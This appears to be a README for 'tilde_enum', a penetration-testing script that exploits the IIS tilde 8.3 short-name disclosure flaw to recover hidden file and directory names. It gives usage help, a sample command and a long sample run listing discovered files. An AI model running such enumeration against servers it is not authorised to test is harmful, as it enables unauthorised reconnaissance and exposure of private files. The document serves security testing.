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tilde_enum
Takes a URL and then exploits the IIS tilde 8.3 enumeration vuln (https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/, http://www.acunetix.com/vulnerabilities/microsoft-iis-tilde-direc/, http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) and tries to get you full file and directory names.
This is an attempt to take the cool POC scanner at https://github.com/irsdl/iis-shortname-scanner/tree/master/ and get you the rest of the file/directory names so you can retrieve them.
Feed this script a URL and also a word list of potential file/dir names. The script will look up the roots in your word list and then try them with appropriate extensions.
For word lists, the fuzzdb word lists are pretty good. We sometimes use the https://code.google.com/p/fuzzdb/source/browse/trunk/discovery/PredictableRes/raft-small-words-lowercase.txt (or large or medium) for this work.
This is not a directory enumerator (i.e., tries all words in a list against a web server). It will only find directories that have names longer than 8 characters (since only then will they have 8.3 names and be recognized by the vulnerability). You should still try to enumerate directories using a word list and DirBuster or Burp Intruder or something.
Just as a note: on Windows computers you can view 8.3 names in the command prompt window by using the dir /x command. One of the columns will be the 8.3 name (if there is one).
Help
$ ./tilde_enum.py -h
usage: tilde_enum.py [-h] [-c COOKIES] [-d DIRWORDLIST] [-f] [-p PROXY]
[-s SNOOZE] [-u URL] [-v] [-w WORDLIST]
[--no-check-certificate]
Exploits and expands the file names found from the tilde enumeration vuln
optional arguments:
-h, --help show this help message and exit
-c COOKIES cookies to be used in the request
-d DIRWORDLIST an optional wordlist for directory name content
-f force testing of the server even if the headers do not
report it as an IIS system
-p PROXY Use a proxy host:port
-s SNOOZE time in seconds to sleep/wait between requests
-u URL URL to scan
-v verbose output
-w WORDLIST the word list to be used for guessing files
--no-check-certificate
don't verify the SSL certificate
Sample Output
$ ./tilde_enum.py -u http://iis /pentest/fuzzdb/discovery/predictableres/raft-small-words-lowercase.txt -d /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt
[-] Testing with dummy file request http://iis/mhxWjUz25u.htm
[-] URLNotThere -> HTTP Code: 404, Response Length: 1635
[-] Testing with user-submitted http://iis
[-] URLUser -> HTTP Code: 200, Response Length: 1433
[+] The server is reporting that it is IIS (Microsoft-IIS/6.0).
[+] The server is vulnerable to the tilde enumeration vulnerability (IIS/5|6.x)..
[+] Found a new directory: aspnet
[+] Found a new directory: copyof
[+] Found a new directory: docume
[+] Found a new directory: javasc
[+] Found file: parame . xml
[+] Found file: 765432 . htm
[+] Found file: _vti_i . htm
[+] Found a new directory: _vti_s
[-] Finished doing the 8.3 enumeration for /.
[-] Now starting the word guessing using word list calls
[*] Found one! (Size 1307) http://iis/parameter.xml
[*] Found one! (Size 1754) http://iis/_vti_inf.html
[-] Trying to find directory matches now.
[-] You used the "-d" option.
Using /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt for directory name look-ups.
[?] URL: (Size 218) http://iis/aspnet_client/ with Response: HTTP Error 403: Forbidden
[*] Found one! (Size 1433) http://iis/documentation/
[*] Found one! (Size 1433) http://iis/javascript/
[-] Now starting recursive 8.3 enumeration into the directories we found.
[-] Diving into the http://iis/documentation/ dir.
[+] Found file: advert . htm
[+] Found file: defaul . asp
[-] Finished doing the 8.3 enumeration for /documentation/.
[*] Found one! (Size 227) http://iis/documentation/advertising.html
[*] Found one! (Size 1433) http://iis/documentation/default.aspx
[-] Trying to find directory matches now.
[-] You used the "-d" option.
Using /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt for directory name look-ups.
[-] Diving into the http://iis/javascript/ dir.
[+] Found file: 321 . xls
[-] Finished doing the 8.3 enumeration for /javascript/.
[-] File name (321) too short to look up in word list. We will use it to bruteforce.
[*] Found one! (Size 227) http://iis/javascript/321.xlsx
[-] Trying to find directory matches now.
[-] You used the "-d" option.
Using /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt for directory name look-ups.
---------- FINAL OUTPUT ------------------------------
[*] We found files for you to look at:
[*] http://iis/_vti_inf.html - Size 1754
[*] http://iis/documentation/advertising.html - Size 227
[*] http://iis/documentation/default.aspx - Size 1433
[*] http://iis/javascript/321.xlsx - Size 227
[*] http://iis/parameter.xml - Size 1307
[*] Here are all the 8.3 names we found.
[*] If any of these are 6 chars and look like they should work,
try the file name with the first or second instead of all of them.
[*] http://iis/documentation/advert~1.htm
[*] http://iis/documentation/defaul~1.asp
[*] http://iis/765432~1.htm
[*] http://iis/_vti_i~1.htm
[*] http://iis/parame~1.xml
[*] http://iis/javascript/321~1.xls
[*] We found directories for you to look at:
[*] http://iis/documentation/ - Size 1433
[*] http://iis/javascript/ - Size 1433
[*] Here are all the directory names we found. You may wish to try to guess them yourself too.
[?] http://iis/_vti_s~1/
[?] http://iis/aspnet~1/
[?] http://iis/copyof~1/
[?] http://iis/docume~1/
[?] http://iis/javasc~1/
[*] We found directory URLs you should check out. They were not HTTP response code 200s.
[?] HTTP Resp 403 - http://iis/aspnet_client/ - Size 218
License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.
